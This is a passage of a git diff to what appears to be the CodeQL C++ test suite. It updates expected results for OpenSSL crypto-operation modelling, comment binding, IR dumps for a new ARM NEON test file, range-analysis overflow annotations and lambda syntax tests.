+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
+| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt |
diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected
index 9e52ea44885..247c4389bc1 100644
--- a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected
+++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected
@@ -1,2 +1,2 @@
-| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:13:124:30 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message |
-| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:13:144:22 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message |
+| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:39:124:44 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message |
+| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:46:144:51 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message |
diff --git a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected
index be0290274f0..e2418f7707c 100644
--- a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected
+++ b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected
@@ -9,3 +9,6 @@
| multi.c:5:27:5:36 | // Multi 3 | declaration of multi3 |
| templates.cpp:3:3:3:8 | // Foo | declaration of foo |
| templates.cpp:7:3:7:8 | // Bar | definition of bar |
+| templates.cpp:16:3:16:20 | // using T::member | using member |
+| templates.cpp:19:3:19:28 | // using T::nested::member | using member |
+| templates.cpp:25:3:25:20 | // using T::member | using member |
diff --git a/cpp/ql/test/library-tests/comments/binding/templates.cpp b/cpp/ql/test/library-tests/comments/binding/templates.cpp
index 2c76db6a915..83d2947d952 100644
--- a/cpp/ql/test/library-tests/comments/binding/templates.cpp
+++ b/cpp/ql/test/library-tests/comments/binding/templates.cpp
@@ -10,3 +10,18 @@ class Cl {
}
};
+
+template
+class Derived : public T {
+ // using T::member
+ using T::member;
+
+ // using T::nested::member
+ using T::nested::member;
+};
+
+template
+class Base {
+ // using T::member
+ using T::member;
+};
\ No newline at end of file
diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.expected b/cpp/ql/test/library-tests/funcdname/funcdname.expected
index 7564b54bff1..670b77b8a6b 100644
--- a/cpp/ql/test/library-tests/funcdname/funcdname.expected
+++ b/cpp/ql/test/library-tests/funcdname/funcdname.expected
@@ -1,2 +1,2 @@
| Bar::(unnamed namespace)::B | Bar::::B |
-| Foo::(unnamed namespace)::A | _ZN3Foo37_GLOBAL__N__13_funcdname_cpp_?AEv |
+| Foo::(unnamed namespace)::A | _ZN35_INTERNAL_13_funcdname_cpp_?Foo37_GLOBAL__N__13_funcdname_cpp_?AEv |
diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.ql b/cpp/ql/test/library-tests/funcdname/funcdname.ql
index 08026d75e59..f3f34005ff6 100644
--- a/cpp/ql/test/library-tests/funcdname/funcdname.ql
+++ b/cpp/ql/test/library-tests/funcdname/funcdname.ql
@@ -2,4 +2,8 @@ import cpp
from Function f, ReturnStmt r
where r.getEnclosingFunction() = f
-select f.getQualifiedName(), r.getExpr().getValue().regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv")
+select f.getQualifiedName(),
+ r.getExpr()
+ .getValue()
+ .regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv")
+ .regexpReplaceAll("cpp_[0-9a-f]+Foo37_", "cpp_?Foo37_")
diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
index 8d36ea7f952..b9ffaf71656 100644
--- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
+++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected
@@ -58,6 +58,77 @@
#-----| Type = [LongType] unsigned long
#-----| getParameter(1): [Parameter] (unnamed parameter 1)
#-----| Type = [ScopedEnum] align_val_t
+arm.cpp:
+# 6| [TopLevelFunction] uint8x8_t vadd_u8(uint8x8_t, uint8x8_t)
+# 6| :
+# 6| getParameter(0): [Parameter] a
+# 6| Type = [CTypedefType] uint8x8_t
+# 6| getParameter(1): [Parameter] b
+# 6| Type = [CTypedefType] uint8x8_t
+# 6| getEntryPoint(): [BlockStmt] { ... }
+# 7| getStmt(0): [ReturnStmt] return ...
+# 7| getExpr(): [AddExpr] ... + ...
+# 7| Type = [GNUVectorType] __attribute((neon_vector_type(8))) unsigned char
+# 7| ValueCategory = prvalue
+# 7| getLeftOperand(): [VariableAccess] a
+# 7| Type = [CTypedefType] uint8x8_t
+# 7| ValueCategory = prvalue(load)
+# 7| getRightOperand(): [VariableAccess] b
+# 7| Type = [CTypedefType] uint8x8_t
+# 7| ValueCategory = prvalue(load)
+# 12| [TopLevelFunction] uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t)
+# 12| :
+# 12| getParameter(0): [Parameter] (unnamed parameter 0)
+# 12| Type = [CTypedefType] uint8x8_t
+# 12| getParameter(1): [Parameter] (unnamed parameter 1)
+# 12| Type = [CTypedefType] uint8x8_t
+# 14| [TopLevelFunction] uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t)
+# 14| :
+# 14| getParameter(0): [Parameter] a
+# 14| Type = [CTypedefType] uint8x8_t
+# 14| getParameter(1): [Parameter] b
+# 14| Type = [CTypedefType] uint8x8_t
+# 14| getEntryPoint(): [BlockStmt] { ... }
+# 15| getStmt(0): [ReturnStmt] return ...
+# 15| getExpr(): [FunctionCall] call to __builtin_aarch64_uaddlv8qi_uuu
+# 15| Type = [CTypedefType] uint16x8_t
+# 15| ValueCategory = prvalue
+# 15| getArgument(0): [VariableAccess] a
+# 15| Type = [CTypedefType] uint8x8_t
+# 15| ValueCategory = prvalue(load)
+# 15| getArgument(1): [VariableAccess] b
+# 15| Type = [CTypedefType] uint8x8_t
+# 15| ValueCategory = prvalue(load)
+# 18| [TopLevelFunction] uint16x8_t arm_add(uint8x8_t, uint8x8_t)
+# 18| :
+# 18| getParameter(0): [Parameter] a
+# 18| Type = [CTypedefType] uint8x8_t
+# 18| getParameter(1): [Parameter] b
+# 18| Type = [CTypedefType] uint8x8_t
+# 18| getEntryPoint(): [BlockStmt] { ... }
+# 19| getStmt(0): [DeclStmt] declaration
+# 19| getDeclarationEntry(0): [VariableDeclarationEntry] definition of c
+# 19| Type = [CTypedefType] uint8x8_t
+# 19| getVariable().getInitializer(): [Initializer] initializer for c
+# 19| getExpr(): [FunctionCall] call to vadd_u8
+# 19| Type = [CTypedefType] uint8x8_t
+# 19| ValueCategory = prvalue
+# 19| getArgument(0): [VariableAccess] a
+# 19| Type = [CTypedefType] uint8x8_t
+# 19| ValueCategory = prvalue(load)
+# 19| getArgument(1): [VariableAccess] b
+# 19| Type = [CTypedefType] uint8x8_t
+# 19| ValueCategory = prvalue(load)
+# 20| getStmt(1): [ReturnStmt] return ...
+# 20| getExpr(): [FunctionCall] call to vaddl_u8
+# 20| Type = [CTypedefType] uint16x8_t
+# 20| ValueCategory = prvalue
+# 20| getArgument(0): [VariableAccess] a
+# 20| Type = [CTypedefType] uint8x8_t
+# 20| ValueCategory = prvalue(load)
+# 20| getArgument(1): [VariableAccess] c
+# 20| Type = [CTypedefType] uint8x8_t
+# 20| ValueCategory = prvalue(load)
bad_asts.cpp:
# 5| [CopyAssignmentOperator] Bad::S& Bad::S::operator=(Bad::S const&)
# 5| :
@@ -23814,11 +23885,11 @@ ir.cpp:
# 2692| Conversion = [IntegralConversion] integral conversion
# 2692| Type = [LongType] unsigned long
# 2692| ValueCategory = prvalue
-#-----| getExpr().getFullyConverted(): [CStyleCast] (int)...
-#-----| Conversion = [IntegralConversion] integral conversion
-#-----| Type = [IntType] int
-#-----| Value = [CStyleCast] 1
-#-----| ValueCategory = prvalue
+# 2692| getExpr().getFullyConverted(): [CStyleCast] (int)...
+# 2692| Conversion = [IntegralConversion] integral conversion
+# 2692| Type = [IntType] int
+# 2692| Value = [CStyleCast] 1
+# 2692| ValueCategory = prvalue
# 2693| getStmt(1): [ReturnStmt] return ...
# 2693| getExpr(): [VariableAccess] y
# 2693| Type = [IntType] int
diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected
index b95e1b231d8..fbd0db5e796 100644
--- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected
+++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected
@@ -1,3 +1,86 @@
+arm.cpp:
+# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t)
+# 6| Block 0
+# 6| v6_1(void) = EnterFunction :
+# 6| m6_2(unknown) = AliasedDefinition :
+# 6| m6_3(unknown) = InitializeNonLocal :
+# 6| m6_4(unknown) = Chi : total:m6_2, partial:m6_3
+# 6| r6_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 6| m6_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_5
+# 6| r6_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 6| m6_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_7
+# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] :
+# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, m6_6
+# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, m6_8
+# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5
+# 7| m7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6
+# 6| r6_9(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] :
+# 6| v6_10(void) = ReturnValue : &:r6_9, m7_7
+# 6| v6_11(void) = AliasedUse : m6_3
+# 6| v6_12(void) = ExitFunction :
+
+# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t)
+# 14| Block 0
+# 14| v14_1(void) = EnterFunction :
+# 14| m14_2(unknown) = AliasedDefinition :
+# 14| m14_3(unknown) = InitializeNonLocal :
+# 14| m14_4(unknown) = Chi : total:m14_2, partial:m14_3
+# 14| r14_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 14| m14_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_5
+# 14| r14_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 14| m14_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_7
+# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] :
+# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, m14_6
+# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, m14_8
+# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6
+# 15| m15_8(unknown) = ^CallSideEffect : ~m14_4
+# 15| m15_9(unknown) = Chi : total:m14_4, partial:m15_8
+# 15| m15_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7
+# 14| r14_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 14| v14_10(void) = ReturnValue : &:r14_9, m15_10
+# 14| v14_11(void) = AliasedUse : ~m15_9
+# 14| v14_12(void) = ExitFunction :
+
+# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t)
+# 18| Block 0
+# 18| v18_1(void) = EnterFunction :
+# 18| m18_2(unknown) = AliasedDefinition :
+# 18| m18_3(unknown) = InitializeNonLocal :
+# 18| m18_4(unknown) = Chi : total:m18_2, partial:m18_3
+# 18| r18_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 18| m18_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_5
+# 18| r18_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 18| m18_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_7
+# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] :
+# 19| r19_2(glval) = FunctionAddress[vadd_u8] :
+# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, m18_6
+# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, m18_8
+# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6
+# 19| m19_8(unknown) = ^CallSideEffect : ~m18_4
+# 19| m19_9(unknown) = Chi : total:m18_4, partial:m19_8
+# 19| m19_10(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7
+# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 20| r20_2(glval) = FunctionAddress[vaddl_u8] :
+# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, m18_6
+# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] :
+# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, m19_10
+# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6
+# 20| m20_8(unknown) = ^CallSideEffect : ~m19_9
+# 20| m20_9(unknown) = Chi : total:m19_9, partial:m20_8
+# 20| m20_10(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7
+# 18| r18_9(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 18| v18_10(void) = ReturnValue : &:r18_9, m20_10
+# 18| v18_11(void) = AliasedUse : ~m20_9
+# 18| v18_12(void) = ExitFunction :
+
bad_asts.cpp:
# 9| int Bad::S::MemberFunction(int)
# 9| Block 0
@@ -19457,11 +19540,11 @@ ir.cpp:
# 2691| m2691_3(unknown) = InitializeNonLocal :
# 2691| m2691_4(unknown) = Chi : total:m2691_2, partial:m2691_3
# 2692| r2692_1(glval) = VariableAddress[y] :
-#-----| r0_1(int) = Constant[1] :
-#-----| m0_2(int) = Store[y] : &:r2692_1, r0_1
+# 2692| r2692_2(int) = Constant[1] :
+# 2692| m2692_3(int) = Store[y] : &:r2692_1, r2692_2
# 2693| r2693_1(glval) = VariableAddress[#return] :
# 2693| r2693_2(glval) = VariableAddress[y] :
-# 2693| r2693_3(int) = Load[y] : &:r2693_2, m0_2
+# 2693| r2693_3(int) = Load[y] : &:r2693_2, m2692_3
# 2693| m2693_4(int) = Store[#return] : &:r2693_1, r2693_3
# 2691| r2691_5(glval) = VariableAddress[#return] :
# 2691| v2691_6(void) = ReturnValue : &:r2691_5, m2693_4
diff --git a/cpp/ql/test/library-tests/ir/ir/arm.cpp b/cpp/ql/test/library-tests/ir/ir/arm.cpp
new file mode 100644
index 00000000000..36e20715bc5
--- /dev/null
+++ b/cpp/ql/test/library-tests/ir/ir/arm.cpp
@@ -0,0 +1,21 @@
+// semmle-extractor-options: --edg --target --edg linux_arm64
+
+typedef __Uint8x8_t uint8x8_t;
+typedef __Uint16x8_t uint16x8_t;
+
+uint8x8_t vadd_u8(uint8x8_t a, uint8x8_t b) {
+ return a + b;
+}
+
+// Workaround: the frontend only exposes this when the arm_neon.h
+// header is encountered.
+uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t);
+
+uint16x8_t vaddl_u8(uint8x8_t a, uint8x8_t b) {
+ return __builtin_aarch64_uaddlv8qi_uuu (a, b);
+}
+
+uint16x8_t arm_add(uint8x8_t a, uint8x8_t b) {
+ uint8x8_t c = vadd_u8(a, b);
+ return vaddl_u8(a, c);
+}
diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
index cf8d638e495..978d05d4b16 100644
--- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
+++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected
@@ -1,3 +1,80 @@
+arm.cpp:
+# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t)
+# 6| Block 0
+# 6| v6_1(void) = EnterFunction :
+# 6| mu6_2(unknown) = AliasedDefinition :
+# 6| mu6_3(unknown) = InitializeNonLocal :
+# 6| r6_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 6| mu6_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_4
+# 6| r6_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 6| mu6_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_6
+# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] :
+# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, ~m?
+# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, ~m?
+# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5
+# 7| mu7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6
+# 6| r6_8(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] :
+# 6| v6_9(void) = ReturnValue : &:r6_8, ~m?
+# 6| v6_10(void) = AliasedUse : ~m?
+# 6| v6_11(void) = ExitFunction :
+
+# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t)
+# 14| Block 0
+# 14| v14_1(void) = EnterFunction :
+# 14| mu14_2(unknown) = AliasedDefinition :
+# 14| mu14_3(unknown) = InitializeNonLocal :
+# 14| r14_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 14| mu14_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_4
+# 14| r14_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 14| mu14_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_6
+# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] :
+# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, ~m?
+# 15| r15_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 15| r15_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r15_5, ~m?
+# 15| r15_7(__attribute((neon_vector_type(8))) unsigned short) = Call[__builtin_aarch64_uaddlv8qi_uuu] : func:r15_2, 0:r15_4, 1:r15_6
+# 15| mu15_8(unknown) = ^CallSideEffect : ~m?
+# 15| mu15_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r15_1, r15_7
+# 14| r14_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 14| v14_9(void) = ReturnValue : &:r14_8, ~m?
+# 14| v14_10(void) = AliasedUse : ~m?
+# 14| v14_11(void) = ExitFunction :
+
+# 18| uint16x8_t arm_add(uint8x8_t, uint8x8_t)
+# 18| Block 0
+# 18| v18_1(void) = EnterFunction :
+# 18| mu18_2(unknown) = AliasedDefinition :
+# 18| mu18_3(unknown) = InitializeNonLocal :
+# 18| r18_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 18| mu18_5(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r18_4
+# 18| r18_6(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 18| mu18_7(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r18_6
+# 19| r19_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] :
+# 19| r19_2(glval) = FunctionAddress[vadd_u8] :
+# 19| r19_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 19| r19_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r19_3, ~m?
+# 19| r19_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] :
+# 19| r19_6(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r19_5, ~m?
+# 19| r19_7(__attribute((neon_vector_type(8))) unsigned char) = Call[vadd_u8] : func:r19_2, 0:r19_4, 1:r19_6
+# 19| mu19_8(unknown) = ^CallSideEffect : ~m?
+# 19| mu19_9(__attribute((neon_vector_type(8))) unsigned char) = Store[c] : &:r19_1, r19_7
+# 20| r20_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 20| r20_2(glval) = FunctionAddress[vaddl_u8] :
+# 20| r20_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] :
+# 20| r20_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r20_3, ~m?
+# 20| r20_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[c] :
+# 20| r20_6(__attribute((neon_vector_type(8))) unsigned char) = Load[c] : &:r20_5, ~m?
+# 20| r20_7(__attribute((neon_vector_type(8))) unsigned short) = Call[vaddl_u8] : func:r20_2, 0:r20_4, 1:r20_6
+# 20| mu20_8(unknown) = ^CallSideEffect : ~m?
+# 20| mu20_9(__attribute((neon_vector_type(8))) unsigned short) = Store[#return] : &:r20_1, r20_7
+# 18| r18_8(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] :
+# 18| v18_9(void) = ReturnValue : &:r18_8, ~m?
+# 18| v18_10(void) = AliasedUse : ~m?
+# 18| v18_11(void) = ExitFunction :
+
bad_asts.cpp:
# 9| int Bad::S::MemberFunction(int)
# 9| Block 0
@@ -17775,8 +17852,8 @@ ir.cpp:
# 2691| mu2691_2(unknown) = AliasedDefinition :
# 2691| mu2691_3(unknown) = InitializeNonLocal :
# 2692| r2692_1(glval) = VariableAddress[y] :
-#-----| r0_1(int) = Constant[1] :
-#-----| mu0_2(int) = Store[y] : &:r2692_1, r0_1
+# 2692| r2692_2(int) = Constant[1] :
+# 2692| mu2692_3(int) = Store[y] : &:r2692_1, r2692_2
# 2693| r2693_1(glval) = VariableAddress[#return] :
# 2693| r2693_2(glval) = VariableAddress[y] :
# 2693| r2693_3(int) = Load[y] : &:r2693_2, ~m?
diff --git a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp
index 7b359a046d8..649d99a7575 100644
--- a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp
+++ b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp
@@ -1011,10 +1011,10 @@ void test_overflow() {
range(x); // $ range===2147483647
const int y = 256;
range(y); // $ range===256
- if ((x + y) <= 512) {
+ if ((x + y) <= 512) { // $ overflow=+
range(x); // $ range===2147483647
range(y); // $ range===256
- range(x + y); // $ range===-2147483393
+ range(x + y); // $ range=<=2147483903 overflow=+
}
}
diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected
new file mode 100644
index 00000000000..1beb3eed3b3
--- /dev/null
+++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected
@@ -0,0 +1,11 @@
+| parameters.cpp:2:5:2:23 | [...](...){...} | with list | 2 |
+| parameters.cpp:4:5:4:22 | [...](...){...} | with list | 1 |
+| parameters.cpp:6:5:6:17 | [...](...){...} | with list | 1 |
+| parameters.cpp:8:5:8:20 | [...](...){...} | with list | 0 |
+| parameters.cpp:10:5:10:26 | [...](...){...} | with list | 0 |
+| parameters.cpp:11:5:11:24 | [...](...){...} | without list | 0 |
+| parameters.cpp:13:5:13:20 | [...](...){...} | with list | 0 |
+| parameters.cpp:16:5:18:5 | [...](...){...} | with list | 0 |
+| parameters.cpp:20:5:22:5 | [...](...){...} | without list | 0 |
+| parameters.cpp:24:5:24:10 | [...](...){...} | without list | 0 |
+| parameters.cpp:25:5:25:14 | [...](...){...} | with list | 0 |
diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql
new file mode 100644
index 00000000000..ae2043687a0
--- /dev/null
+++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql
@@ -0,0 +1,5 @@
+import cpp
+
+from LambdaExpression e, string parameterList
+where if e.hasParameterList() then parameterList = "with list" else parameterList = "without list"
+select e, parameterList, e.getLambdaFunction().getNumberOfParameters()
diff --git a/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp
new file mode 100644
index 00000000000..6d9bca191b1
--- /dev/null
+++ b/cpp/ql/test/library-tests/lambdas/syntax/parameters.cpp
@@ -0,0 +1,26 @@
+void test_lambda_declarator() {
+ [=](int, float) { };
+
+ [](int x = 42) { };
+
+ [](int x) { };
+
+ []() mutable { };
+
+ []() [[nodiscard]] { };
+ [] [[nodiscard]] { };
+
+ []() -> void { };
+
+ int i;
+ [&i]() {
+ i += 1;
+ };
+
+ [&i] {
+ i += 1;
+ };
+
+ [] { };
+ [=] () { };
+}
\ No newline at end of file
